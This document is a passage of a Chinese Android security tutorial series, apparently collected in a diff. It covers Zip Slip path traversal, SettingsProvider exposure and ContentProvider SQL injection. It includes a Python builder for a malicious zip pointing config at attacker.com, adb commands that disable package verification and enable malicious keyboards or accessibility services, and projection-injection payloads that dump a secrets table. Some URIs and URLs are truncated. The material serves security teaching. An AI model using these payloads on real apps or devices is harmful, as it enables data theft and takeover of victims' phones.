- 大部分 App 层漏洞的影响范围被沙箱限制在目标 App 的上下文内
这是本系列的最后一章。从第一章的组件导出到本章的沙箱机制,覆盖了 Android 客户端安全的主要技术方向。每个方向都有各自的攻击面和防御机制,实际审计中往往需要组合多个方向的知识来发现和利用漏洞。
@@ -0,0 +1,304 @@
# Android移动安全第十四章_ZipSlip路径遍历
> QIANXIN Team
> 来源:https://forum.butian.net/share/4882
\> 系列目录:
\> 1. Android 组件导出安全
\> 2. Android Intent 安全
\> 3. Android Binder 服务安全
\> 4. Android ContentProvider 安全
\> 5. Android WebView 安全
\> 6. Android UI 欺骗与钓鱼
\> 7. Android Deep Link 安全
\> 8. Android 广播安全
\> 9. Android PendingIntent 安全
\> 10. Android 系统设置安全
\> 11. Android SSRF 与网络安全
\> 12. Android 加密与数据存储安全
\> 13. Android 认证与证书校验
\> 14. Android Zip Slip 路径遍历(本章)
\> 15. Android Fragment Injection
\> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
ZIP 文件格式中,每个条目(entry)都有一个文件名字段。这个文件名可以包含目录分隔符 `/`,用于表示目录结构。比如 `assets/images/logo.png` 表示文件在 `assets/images/` 子目录下。
问题在于,ZIP 规范没有禁止文件名中包含 `../`(上级目录引用)。如果一个 ZIP 条目的文件名是 `../../shared_prefs/config.xml`,解压时如果直接用这个文件名拼接目标目录,文件就会被写到目标目录的上级目录中——跳出了预期的解压范围。
这个漏洞在 2018 年被 Snyk 安全团队命名为 Zip Slip,影响了多种语言和平台的 ZIP 处理库。在 Android 上,由于 App 的私有目录结构是固定的(`/data/data//` 下有 `shared_prefs/``databases/``files/` 等子目录),攻击者可以精确计算 `../` 的层数来覆写特定文件。
* * *
## 2\. 漏洞原理
### 2.1 不安全的解压代码
Java 标准库的 `java.util.zip.ZipInputStream` 不会自动校验文件名中的路径遍历。典型的不安全解压代码:
```java
public void unzip(InputStream zipStream, File destDir) throws IOException {
ZipInputStream zis = new ZipInputStream(zipStream);
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File outFile = new File(destDir, entry.getName());
if (entry.isDirectory()) {
outFile.mkdirs();
} else {
outFile.getParentFile().mkdirs();
FileOutputStream fos = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int len;
while ((len = zis.read(buffer)) &gt; 0) {
fos.write(buffer, 0, len);
}
fos.close();
}
zis.closeEntry();
}
zis.close();
}
```
如果 `entry.getName()` 返回 `../../shared_prefs/evil.xml``new File(destDir, entry.getName())` 会解析为 `destDir` 的上两级目录下的 `shared_prefs/evil.xml`
### 2.2 路径解析
Java 的 `File` 构造函数在拼接路径时会保留 `../`
```java
File destDir = new File("/data/data/com.target.app/files/unzip_temp");
File outFile = new File(destDir, "../../shared_prefs/evil.xml");
outFile.getPath();
outFile.getCanonicalPath();
```
`getPath()` 保留了原始路径中的 `../`,而 `getCanonicalPath()` 会解析掉 `../` 返回规范化的绝对路径。安全校验应该使用 `getCanonicalPath()` 来判断最终路径是否在预期目录内。
### 2.3 攻击效果
根据解压目标目录和 `../` 的层数,攻击者可以覆写 App 私有目录下的不同文件:
| 目标文件 | 效果 |
| --- | --- |
| shared_prefs/*.xml | 覆写 SharedPreferences,注入配置(如修改服务器地址、注入 token) |
| databases/*.db | 覆写 SQLite 数据库,注入数据 |
| files/*.dex | 覆写动态加载的 DEX 文件,实现代码执行 |
| lib/*.so | 覆写 native 库,实现代码执行(需要 App 重启后加载) |
| code_cache/*.dex | 覆写编译缓存,影响 App 行为 |
覆写 DEX 文件或 SO 库是最严重的利用方式——等于在 App 的上下文中执行任意代码,拥有 App 的所有权限。
* * *
## 3\. 触发场景
### 3.1 从网络下载 ZIP
App 从服务器下载 ZIP 文件并解压是最常见的场景。如果下载过程没有使用 HTTPS 或没有校验文件完整性(如签名验证),中间人攻击者可以替换 ZIP 文件:
```java
URL url = new URL("https://cdn.example.com/resources.zip");
InputStream is = url.openStream();
unzip(is, new File(getFilesDir(), "resources"));
```
即使使用了 HTTPS,如果 App 禁用了证书校验(第十三章讲过),中间人仍然可以替换 ZIP 文件。
### 3.2 通过 Intent 接收 ZIP
如果 App 的导出组件接受外部传入的文件路径或 URI 并解压:
```java
Uri zipUri = getIntent().getData();
InputStream is = getContentResolver().openInputStream(zipUri);
unzip(is, new File(getFilesDir(), "imported"));
```
攻击者可以构造一个包含路径遍历条目的 ZIP 文件,通过 Intent 传给目标 App。
### 3.3 通过 ContentProvider 接收
第四章讲过 ContentProvider 的 `openFile()` 方法。如果 App 通过 ContentProvider 接收文件并解压,攻击者可以通过自己的 ContentProvider 提供恶意 ZIP 文件。
### 3.4 热更新 / 插件加载
一些 App 使用热更新机制——从服务器下载补丁包(通常是 ZIP 格式),解压后加载其中的 DEX 文件或资源。如果解压过程存在 Zip Slip 漏洞,攻击者可以通过替换补丁包来实现代码执行。
* * *
## 4\. 构造恶意 ZIP
### 4.1 使用 Python 构造
Python 的 `zipfile` 模块允许创建包含任意文件名的 ZIP 条目:
```python
import zipfile
import os
with zipfile.ZipFile('evil.zip', 'w') as zf:
zf.writestr('readme.txt', 'This is a normal file.')
zf.writestr('../../shared_prefs/evil_config.xml',
'&lt;?xml version="1.0" encoding="utf-8" standalone="yes" ?&gt;\n'
'\n'
' https://attacker.com/api\n'
' true\n'
'\n')
```
### 4.2 使用命令行工具
也可以用 `zip` 命令的符号链接技巧,或者直接用十六进制编辑器修改 ZIP 文件中的文件名字段。但 Python 方式最方便。
* * *
## 5\. ZipEntry.getName() 的变体
### 5.1 不同的路径遍历写法
除了标准的 `../`,还有一些变体可能绕过简单的字符串检查:
| 写法 | 说明 |
| --- | --- |
| ../ | 标准的上级目录引用 |
| ..\ | Windows 风格的路径分隔符(Java 的 File 类在 Linux 上不识别,但某些解析库可能处理) |
| ..%2F | URL 编码的 /ZIP 文件名通常不做 URL 解码,但如果 App 对文件名做了额外处理可能生效) |
| /absolute/path | 绝对路径(如果 App 直接用 new File(entry.getName()) 而不是拼接目标目录) |
### 5.2 符号链接
ZIP 格式支持符号链接(symlink)条目。如果解压代码创建了符号链接,攻击者可以:
1. 第一个条目:创建一个符号链接 `link``/data/data/com.target.app/shared_prefs/`
2. 第二个条目:`link/evil.xml`,内容是恶意配置
解压时,`link` 被创建为指向 `shared_prefs/` 的符号链接,然后 `link/evil.xml` 实际写入了 `shared_prefs/evil.xml`
不过 Java 的 `ZipInputStream` 默认不处理符号链接条目,这种攻击更多出现在使用 native 解压库(如 `libarchive`)的场景中。
* * *
## 6\. 版本演进
### 6.1 Java 标准库
Java 的 `java.util.zip` 包从未在 API 层面添加路径遍历校验。`ZipEntry.getName()` 原样返回 ZIP 文件中存储的文件名,不做任何过滤。这个行为在所有 Android 版本上都一样。
### 6.2 Android 14API 34
Android 14 在 `ZipInputStream` 中添加了路径遍历检测。如果 `ZipEntry` 的文件名包含 `..``getNextEntry()` 会抛出 `ZipException`
```php
java.util.zip.ZipException: Invalid zip entry name: ../../evil.txt
```
这个检测默认对 targetSdk >= 34 的 App 启用。targetSdk < 34 的 App 不受影响,行为和之前一样。
App 可以通过兼容性标志禁用这个检测(不推荐):
### 6.3 第三方库
一些第三方 ZIP 处理库(如 Apache Commons Compress)在较新版本中添加了路径遍历检测。但旧版本仍然存在问题,且很多 App 使用的是 Java 标准库而非第三方库。
* * *
## 7\. 演示
下面用配套的演示 Appcom.demo.zipslip)来展示 Zip Slip 漏洞的效果。
Demo App 模拟了一个常见场景:App 从外部接收 ZIP 文件并解压到私有目录。解压代码没有校验文件名中的路径遍历,攻击者构造的恶意 ZIP 可以覆写 App 的 SharedPreferences。
### 7.1 不安全的解压
VulnUnzipActivity 接收 ZIP 文件路径并解压:
```java
File outFile = new File(destDir, entry.getName());
```
先用 Python 构造恶意 ZIP,然后推送到 App 私有目录并触发解压:
```bash
python3 -c "
import zipfile, io, sys
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('readme.txt', 'normal file')
zf.writestr('../../shared_prefs/evil_config.xml',
'&lt;?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?&gt;\n'
'\n'
' https://attacker.com/api\n'
' true\n'
'')
sys.stdout.buffer.write(buf.getvalue())
" &gt; /tmp/evil.zip
adb push /tmp/evil.zip /data/local/tmp/evil.zip
adb shell run-as com.demo.zipslip \
cp /data/local/tmp/evil.zip /data/data/com.demo.zipslip/files/evil.zip
adb shell am start -n com.demo.zipslip/.VulnUnzipActivity \
--es zip_path "/data/data/com.demo.zipslip/files/evil.zip"
```
VulnUnzipActivity 界面显示了每个条目的路径和规范路径,可以看到 `../../shared_prefs/evil_config.xml` 的规范路径跳出了解压目录:
![demo14_unzip.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-f4b7749f173696561cd25e9d4cc0f4125d97df09.png)
### 7.2 验证覆写
logcat 输出确认了路径遍历:
```php
W VulnUnzip: 开始解压: /data/data/com.demo.zipslip/files/evil.zip
W VulnUnzip: 解压条目: readme.txt /data/data/com.demo.zipslip/files/unzip_temp/readme.txt
W VulnUnzip: 路径遍历检测: ../../shared_prefs/evil_config.xml /data/data/com.demo.zipslip/shared_prefs/evil_config.xml
W VulnUnzip: 解压条目: ../../shared_prefs/evil_config.xml /data/data/com.demo.zipslip/shared_prefs/evil_config.xml
W VulnUnzip: 解压完成,共 2 个文件
```
回到主页检查 SharedPreferences
```php
W ZipSlipDemo: SharedPreferences 被覆写!
W ZipSlipDemo: server_url = https:
W ZipSlipDemo: injected = true
```
恶意 ZIP 中的 `../../shared_prefs/evil_config.xml` 跳出了解压目录,成功写入了 App 的 SharedPreferences 目录。App 读取这个 SharedPreferences 时会得到攻击者注入的配置。
![demo14_zipslip.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-4026372534046b67a02ce0d934f757f36b2b9d90.png)
* * *
## 8\. 总结
Zip Slip 的本质是路径拼接时没有校验最终路径是否在预期范围内。ZIP 文件名中的 `../` 让文件跳出了解压目录,写入了 App 私有目录下的其他位置。
回顾一下:
- Java 的 ZipEntry.getName() 原样返回文件名,不做路径遍历过滤
- 覆写 SharedPreferences 可以注入配置,覆写 DEX/SO 可以实现代码执行
- 网络下载、Intent 接收、ContentProvider 是 ZIP 文件的常见来源
- Android 14 在 ZipInputStream 中添加了路径遍历检测(targetSdk >= 34
- getCanonicalPath() 可以解析掉 `../`,用于校验最终路径是否在目标目录内
下一章讲 Android Fragment Injection。Fragment 是 Activity 内部的 UI 模块,如果 Activity 根据外部输入动态加载 Fragment,攻击者可以注入任意 Fragment 类名来加载 App 内部的敏感 Fragment。
@@ -0,0 +1,361 @@
# Android移动安全第十章_系统设置安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4877
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全(本章)
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 的系统设置存储在一个名为 SettingsProvider 的系统级 ContentProvider 中。第四章讲过 ContentProvider 的安全问题,SettingsProvider 是其中一个比较特殊的实例——它不存储用户数据,而是存储设备配置。
SettingsProvider 对外暴露了三个命名空间(namespace),每个命名空间对应一张数据库表:
- `Settings.System`:用户可见的基础设置,如铃声音量、屏幕亮度、字体大小
- `Settings.Secure`:需要更高权限才能修改的设置,如定位服务开关、默认输入法、设备 ID
- `Settings.Global`:全局设备设置,如飞行模式、移动数据开关、ADB 调试开关
读写这些设置使用的 API 很简单:
```java
String value = Settings.Secure.getString(contentResolver, "android_id");
int brightness = Settings.System.getInt(contentResolver, "screen_brightness", 128);
Settings.System.putInt(contentResolver, "screen_brightness", 255);
```
底层实际上是对 `content://settings/system``content://settings/secure``content://settings/global` 这三个 URI 的 ContentProvider 操作。
* * *
## 2\. 三个命名空间的权限模型
### 2.1 Settings.System
Settings.System 是权限要求最低的命名空间。
读取:任何 App 都可以读取,不需要任何权限。
写入:需要 `WRITE_SETTINGS` 权限。这个权限在 Android 6.0 之前是 normal 级别(声明即可获得),Android 6.0 之后改为需要用户在设置页面中手动授权(通过 `Settings.ACTION_MANAGE_WRITE_SETTINGS` 跳转)。
```java
if (Settings.System.canWrite(context)) {
Settings.System.putInt(contentResolver, "screen_brightness", 0);
} else {
Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
intent.setData(Uri.parse("package:" + getPackageName()));
startActivity(intent);
}
```
Settings.System 中的设置项大多是用户体验相关的,直接的安全影响有限。但有一些值得注意的项:
| 设置项 | 说明 | 潜在影响 |
| --- | --- | --- |
| screen_brightness | 屏幕亮度 | 设为 0 可以让屏幕几乎全黑,配合 UI 欺骗使用 |
| screen_off_timeout | 屏幕自动关闭时间 | 设为极大值可以防止屏幕锁定 |
| font_scale | 字体缩放比例 | 设为极端值可以破坏 UI 布局 |
| haptic_feedback_enabled | 触觉反馈 | 关闭后用户操作无反馈 |
### 2.2 Settings.Secure
Settings.Secure 的权限要求更高。
读取:任何 App 都可以读取,不需要权限。这一点容易被忽略——虽然叫"Secure",但读取是完全开放的。
写入:需要 `WRITE_SECURE_SETTINGS` 权限。这个权限的 protectionLevel 是 `signature|privileged`,只有系统签名 App 或预装在 `/system/priv-app/` 目录下的 App 才能获得。普通第三方 App 无法获得此权限。
但通过 ADB 可以直接读写 Settings.Secure
```bash
adb shell settings get secure android_id
adb shell settings get secure enabled_accessibility_services
adb shell settings put secure enabled_accessibility_services com.example/.MyAccessibilityService
```
Settings.Secure 中包含不少敏感信息:
| 设置项 | 说明 | 安全影响 |
| --- | --- | --- |
| android_id | 设备唯一标识符(64 位十六进制字符串) | 用户追踪 |
| enabled_accessibility_services | 已启用的无障碍服务列表 | 可以判断用户安装了哪些辅助工具 |
| enabled_notification_listeners | 已启用的通知监听服务列表 | 可以判断哪些 App 有通知访问权限 |
| default_input_method | 当前默认输入法 | 信息收集 |
| location_providers_allowed | 允许的定位提供者 | 定位状态泄露 |
| lock_screen_lock_after_timeout | 锁屏超时时间 | 了解设备锁屏策略 |
| install_non_market_apps | 是否允许安装未知来源 App | 了解设备安全策略 |
这些信息单独看可能不算严重,但组合起来可以构建出设备的安全画像——用了什么输入法、开了哪些无障碍服务、定位是否开启、是否允许侧载 App。对于定向攻击来说,这些信息很有价值。
### 2.3 Settings.Global
Settings.Global 的权限模型和 Settings.Secure 类似。
读取:任何 App 都可以读取。
写入:需要 `WRITE_SECURE_SETTINGS` 权限(和 Settings.Secure 共用同一个写入权限)。
Settings.Global 中的设置项影响整个设备:
| 设置项 | 说明 | 安全影响 |
| --- | --- | --- |
| adb_enabled | ADB 调试是否开启 | 了解设备调试状态 |
| development_settings_enabled | 开发者选项是否开启 | 了解设备调试状态 |
| airplane_mode_on | 飞行模式 | 通过 ADB 可以开启飞行模式切断网络 |
| mobile_data | 移动数据开关 | 通过 ADB 可以关闭移动数据 |
| wifi_on | Wi-Fi 开关 | 通过 ADB 可以关闭 Wi-Fi |
| install_non_market_apps | 未知来源安装(部分版本) | 通过 ADB 可以开启侧载 |
| package_verifier_enable | 安装验证 | 通过 ADB 可以关闭安装验证 |
* * *
## 3\. 读取泄露
### 3.1 android\_id
`android_id` 是 Settings.Secure 中最常被讨论的设置项。它是一个 64 位的十六进制字符串,在设备首次启动时生成,恢复出厂设置后重新生成。
```java
String androidId = Settings.Secure.getString(
getContentResolver(), Settings.Secure.ANDROID_ID);
```
Android 8.0 之前,`android_id` 对所有 App 返回相同的值,可以用于跨 App 追踪用户。Android 8.0 之后,每个 App(按签名密钥 + 用户组合)看到的 `android_id` 不同,降低了追踪能力。但同一个 App 在同一设备上看到的值是稳定的,仍然可以用于设备指纹。
### 3.2 无障碍服务枚举
`enabled_accessibility_services` 存储了当前启用的无障碍服务列表,格式是组件名用冒号分隔:
```java
String services = Settings.Secure.getString(
getContentResolver(), "enabled_accessibility_services");
```
任何 App 都可以读取这个值,从而知道用户启用了哪些无障碍服务。无障碍服务拥有很高的权限(可以读取屏幕内容、模拟点击),知道用户启用了哪些服务可以帮助攻击者判断设备上是否有安全工具或自动化工具在运行。
### 3.3 通知监听服务枚举
类似地,`enabled_notification_listeners` 暴露了哪些 App 有通知访问权限:
```java
String listeners = Settings.Secure.getString(
getContentResolver(), "enabled_notification_listeners");
```
第九章讲过 NotificationListenerService 可以读取通知中的 PendingIntent。通过这个设置项,攻击者可以知道设备上是否有 App 在监听通知。
### 3.4 ADB 批量读取
通过 ADB 可以一次性列出某个命名空间下的所有设置项:
```bash
adb shell settings list secure
adb shell settings list global
adb shell settings list system
```
输出是 `key=value` 格式的列表,包含了该命名空间下所有已设置的项。在物理接触设备的场景下(如设备被借用、送修),这些信息可以被快速提取。
* * *
## 4\. 写入攻击
### 4.1 Settings.System 写入
获得 `WRITE_SETTINGS` 权限后,App 可以修改 Settings.System 中的设置项。虽然这些设置大多是用户体验相关的,但在特定场景下可以配合其他攻击使用:
```java
Settings.System.putInt(contentResolver,
Settings.System.SCREEN_BRIGHTNESS, 0);
Settings.System.putInt(contentResolver,
Settings.System.SCREEN_OFF_TIMEOUT, Integer.MAX_VALUE);
```
屏幕亮度设为 0 后,用户看到的是几乎全黑的屏幕,可能以为设备关机了。配合第六章讲的 UI 欺骗,可以在用户不知情的情况下在"黑屏"上显示钓鱼界面。
### 4.2 通过 ADB 修改 Secure/Global
虽然第三方 App 无法写入 Settings.Secure 和 Settings.Global,但通过 ADB 可以。在设备被物理接触或通过恶意 PC 端工具连接的场景下:
```bash
adb shell settings put global adb_enabled 1
adb shell settings put global package_verifier_enable 0
adb shell settings put secure install_non_market_apps 1
adb shell settings put secure default_input_method \
com.malicious.keyboard/.MaliciousIME
adb shell settings put secure enabled_accessibility_services \
com.malicious.app/.EvilAccessibilityService
```
最后两条尤其危险。修改默认输入法意味着用户的所有键盘输入都会经过恶意输入法,包括密码。启用恶意无障碍服务则赋予了恶意 App 读取屏幕内容和模拟用户操作的能力。
不过从 Android 13 开始,通过 ADB 修改 `enabled_accessibility_services` 受到了限制——系统会检查目标无障碍服务是否已安装且声明了正确的权限。
### 4.3 厂商自定义设置项
厂商定制 ROM 通常会在标准的三个命名空间之外添加自定义设置项。这些设置项的权限控制完全由厂商决定,质量参差不齐。
```bash
adb shell settings list system | grep -i miui
adb shell settings list secure | grep -i miui
adb shell settings list global | grep -i miui
```
常见的厂商自定义设置项包括:
- 游戏模式开关
- 省电策略配置
- 手势导航设置
- 广告追踪 ID
- 云服务同步开关
这些设置项可能没有经过和 AOSP 标准设置项同等级别的安全审查。
* * *
## 5\. ContentProvider 层面的访问
### 5.1 直接通过 ContentResolver 访问
Settings API 底层是对 SettingsProvider 的 ContentResolver 调用。除了使用 `Settings.Secure.getString()` 等封装方法,也可以直接通过 ContentResolver 查询:
```java
Cursor cursor = getContentResolver().query(
Uri.parse("content://settings/secure"),
new String[]{"value"},
"name=?",
new String[]{"android_id"},
null);
if (cursor != null && cursor.moveToFirst()) {
String androidId = cursor.getString(0);
cursor.close();
}
```
这种方式绕过了 Settings API 的封装,直接和 ContentProvider 交互。在某些情况下,通过 ContentResolver 可以访问到 Settings API 没有暴露的设置项。
### 5.2 call() 方法
SettingsProvider 还实现了 `call()` 方法,提供了另一种访问方式:
```java
Bundle result = getContentResolver().call(
Uri.parse("content://settings/secure"),
"GET_secure",
"android_id",
null);
String value = result.getString("value");
```
`call()` 方法在第四章讲过,它不受标准的 query/insert/update/delete 权限模型约束,权限检查完全由 Provider 内部实现。SettingsProvider 的 `call()` 实现中对不同命名空间有不同的权限检查逻辑。
### 5.3 URI 格式
SettingsProvider 支持多种 URI 格式:
```php
content:
content:
content:
content:
content:
```
通过 ADB 的 `content` 命令可以直接查询:
```bash
adb shell content query --uri content://settings/secure/android_id
adb shell content query --uri content://settings/secure
```
* * *
## 6\. 版本演进
### 6.1 Android 6.0API 23):WRITE\_SETTINGS 改为特殊权限
Android 6.0 之前,`WRITE_SETTINGS` 是 normal 级别权限,任何 App 声明即可获得。Android 6.0 将其改为需要用户手动在设置页面中授权的特殊权限(类似 `SYSTEM_ALERT_WINDOW`)。
这个改动让第三方 App 修改 Settings.System 变得更难了,但用户仍然可能在不理解后果的情况下授权。
### 6.2 Android 8.0API 26):android\_id 按 App 隔离
Android 8.0 之前,所有 App 读取 `android_id` 得到的是同一个值,可以用于跨 App 追踪。Android 8.0 之后,`android_id` 的值按 App 签名密钥和用户组合生成,不同 App 看到不同的值。
### 6.3 Android 10API 29):限制设备标识符访问
Android 10 进一步限制了设备标识符的访问。`READ_PHONE_STATE` 权限不再允许读取 IMEI、序列号等硬件标识符,只有设备所有者(Device Owner)或运营商特权 App 才能访问。但 `android_id` 不受此限制,仍然可以通过 Settings.Secure 读取。
### 6.4 Android 13API 33):无障碍服务限制
Android 13 对通过 ADB 启用无障碍服务增加了限制。系统会检查目标服务是否已安装、是否在 Manifest 中正确声明了 `BIND_ACCESSIBILITY_SERVICE` 权限。这降低了通过 ADB 远程启用恶意无障碍服务的风险。
### 6.5 Android 15API 35):设置项访问收紧
Android 15 对部分 Settings.Secure 和 Settings.Global 的设置项增加了读取限制。某些之前任何 App 都能读取的设置项,现在需要特定权限。具体受限的设置项因版本而异,但趋势是逐步收紧读取权限。
* * *
## 7\. 总结
Settings Provider 的安全问题在于读写权限的不对称——写入有较严格的权限控制,但读取几乎完全开放。Settings.Secure 和 Settings.Global 中的设置项虽然名字带"Secure"和"Global",但任何 App 都可以读取其中的内容。
回顾一下:
- Settings.System 的写入权限(WRITE\_SETTINGS)在 Android 6.0 后需要用户手动授权
- Settings.Secure 和 Settings.Global 的写入需要系统签名权限,但读取对所有 App 开放
- android\_id、无障碍服务列表、通知监听列表等敏感信息可以被任何 App 读取
- 通过 ADB 可以读写所有命名空间,包括修改默认输入法和启用无障碍服务
- 厂商自定义设置项的权限控制质量参差不齐
- Android 各版本在逐步收紧设置项的访问权限
下一章讲 Android SSRF 与网络安全。Android App 中的网络请求如果使用了用户可控的 URL,可能被利用来访问内网资源或本地服务,这就是 SSRFServer-Side Request Forgery,服务端请求伪造)在移动端的变体。
@@ -0,0 +1,394 @@
# Android移动安全第四章_ContentProvider安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4832
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全(本章)
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 的每个 App 都有自己的私有数据目录(/data/data/包名/),其他 App 默认无法访问。但很多场景需要跨应用共享数据——通讯录、媒体库、日历、短信,这些系统数据都需要被多个 App 读取。
ContentProvider 就是为这个需求设计的。它把数据封装成类似数据库表的结构,通过 URIUniform Resource Identifier,统一资源标识符)定位,对外提供 query、insert、update、delete 四个标准的 CRUDCreate/Read/Update/Delete,增删改查)操作,以及 openFile(文件访问)和 call(自定义方法调用)两个扩展操作。
外部 App 通过 ContentResolver(内容解析器,系统提供的客户端 API)访问 ContentProvider,不需要知道数据的具体存储方式(SQLite、文件、内存都可以),只需要知道 URI。
ContentProvider 的攻击面比其他三个组件丰富一些。Activity 和 Service 主要是"触发一个动作",而 ContentProvider 是"读写数据"——它直接操作数据库和文件系统,出问题就是数据泄露或文件读写。
* * *
## 2\. ContentProvider 基础
### 2.1 URI 结构
ContentProvider 通过 URI 定位数据,格式如下:
```php
content:
```
| 部分 | 说明 | 示例 |
| --- | --- | --- |
| content:// | 固定前缀,表示这是一个 ContentProvider URI | |
| authority | Provider 的唯一标识,通常是包名相关的字符串 | com.example.app.provider |
| path | 数据路径,类似于数据库表名 | users |
| id | 可选,指定某条记录 | 3 |
完整示例:`content://com.example.app.provider/users/3` 表示访问 com.example.app.provider 这个 Provider 中 users 表的第 3 条记录。
### 2.2 六个操作方法
ContentProvider 对外暴露六个方法:
| 方法 | 作用 | 对应 SQL |
| --- | --- | --- |
| query() | 查询数据 | SELECT |
| insert() | 插入数据 | INSERT |
| update() | 更新数据 | UPDATE |
| delete() | 删除数据 | DELETE |
| openFile() | 打开文件,返回文件描述符 | 无 |
| call() | 自定义方法调用 | 无 |
前四个是标准的 CRUD 操作,后两个是扩展功能。openFile() 用于文件共享场景(比如图片、文档),call() 用于不适合 CRUD 模型的自定义操作。
![provider_flow.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-e81a0d8a5591f8d8f16aafa2691693a43fcb7bed.png)
### 2.3 权限控制
ContentProvider 的权限控制在 Manifest 中声明:
```xml
<provider
android:name=".UserProvider"
android:authorities="com.example.app.provider"
android:exported="true"
android:readPermission="com.example.permission.READ_DATA"
android:writePermission="com.example.permission.WRITE_DATA" />
```
- `readPermission`:控制 query() 的访问权限
- `writePermission`:控制 insert()、update()、delete() 的访问权限
- `permission`:如果只设置这一个,读写都需要该权限
还可以通过 `<path-permission>` 对不同路径设置不同权限:
```xml
<provider
android:name=".DataProvider"
android:authorities="com.example.provider"
android:exported="true">
<path-permission
android:pathPrefix="/public"
android:readPermission="com.example.permission.READ_PUBLIC" />
<path-permission
android:pathPrefix="/private"
android:readPermission="com.example.permission.READ_PRIVATE"
android:writePermission="com.example.permission.WRITE_PRIVATE" />
</provider>
```
这样 /public 路径和 /private 路径可以有不同的访问控制。
### 2.4 临时权限授予
有时候需要临时让另一个 App 访问自己 Provider 中的某条数据,但又不想给它永久权限。Android 提供了 `grantUriPermissions` 机制:
```xml
<provider
android:name=".FileProvider"
android:authorities="com.example.fileprovider"
android:exported="false"
android:grantUriPermissions="true" />
```
配合 Intent 的 `FLAG_GRANT_READ_URI_PERMISSION``FLAG_GRANT_WRITE_URI_PERMISSION`,可以在启动 Activity 时临时授予对方对特定 URI 的访问权限。权限在接收方 Activity 结束后自动撤销。
第二章讲 Intent Flag 滥用时提到过,如果存在 Intent 重定向漏洞,攻击者可以借此获得对未导出 Provider 的临时访问权限。
* * *
## 3\. 数据泄露
### 3.1 无权限保护的导出 Provider
Provider 导出了,但没有设置任何权限:
```xml
<provider
android:name=".UserProvider"
android:authorities="com.example.app.userprovider"
android:exported="true" />
```
任何 App 都可以通过 ContentResolver 查询其中的数据:
```java
Cursor cursor = getContentResolver().query(
Uri.parse("content://com.example.app.userprovider/users"),
null, null, null, null
);
```
下面用配套的演示 Appcom.demo.providersecurity)来展示。VulnUserProvider 导出且无权限保护,存储了模拟的用户数据:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users
```
输出:
```php
Row: 0 _id=1, username=admin, email=admin@internal.com, token=eyJhbGciOiJIUzI1NiJ9.admin
Row: 1 _id=2, username=test_user, email=test@internal.com, token=dGVzdF90b2tlbl8xMjM0
Row: 2 _id=3, username=backup_svc, email=backup@internal.com, token=YmFja3VwX3Rva2VuXzU2Nzg=
```
用户名、邮箱、认证 token 全部暴露。
### 3.2 projection 参数注入
query() 方法的 projection 参数指定要返回哪些列,对应 SQL 的 SELECT 子句。如果 Provider 内部直接把 projection 拼接到 SQL 语句中,攻击者可以注入额外的 SQL 片段。
很多 Provider 底层使用 SQLite(一个轻量级的嵌入式关系数据库,Android 内置支持)存储数据。Android 的 `SQLiteDatabase.query()` 方法会把 projection 数组拼接成 SELECT 子句,不做额外过滤:
```java
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
return db.query("users", projection, selection, selectionArgs, null, null, sortOrder);
}
```
攻击者可以通过 projection 读取其他表的数据。SQLite 有一个内置表 `sqlite_master`,存储了数据库中所有表和索引的定义。通过注入可以先读取表结构,再针对性地查询:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users \
--projection "'* FROM sqlite_master--'"
```
输出:
```php
Row: 0 type=table, name=users, tbl_name=users, rootpage=4, sql=CREATE TABLE users (_id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT NOT NULL,email TEXT,token TEXT)
Row: 1 type=table, name=secrets, tbl_name=secrets, rootpage=6, sql=CREATE TABLE secrets (_id INTEGER PRIMARY KEY AUTOINCREMENT,key_name TEXT NOT NULL,key_value TEXT)
```
发现了一个 secrets 表。继续注入读取它的内容:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users \
--projection "'* FROM secrets--'"
```
输出:
```php
Row: 0 _id=1, key_name=master_key, key_value=MK-9a8b7c6d5e4f3a2b1c0d
Row: 1 _id=2, key_name=encryption_iv, key_value=IV-1234567890abcdef
```
通过 projection 注入,从一个只暴露 users 表的 Provider 中读到了 secrets 表的数据。
### 3.3 selection 参数注入
selection 参数对应 SQL 的 WHERE 子句。如果 Provider 没有使用参数化查询(selectionArgs),而是直接拼接 selection 字符串,也存在注入风险:
```java
String where = "username = '" + selection + "'";
cursor = db.rawQuery("SELECT * FROM users WHERE " + where, null);
cursor = db.query("users", null, "username = ?", new String[]{username}, null, null, null);
```
实际中 selection 注入比 projection 注入少见一些,因为 Android 的 `SQLiteDatabase.query()` 方法本身支持 selectionArgs 参数化,很多开发者会自然地使用它。
### 3.4 SQLite 注入的限制
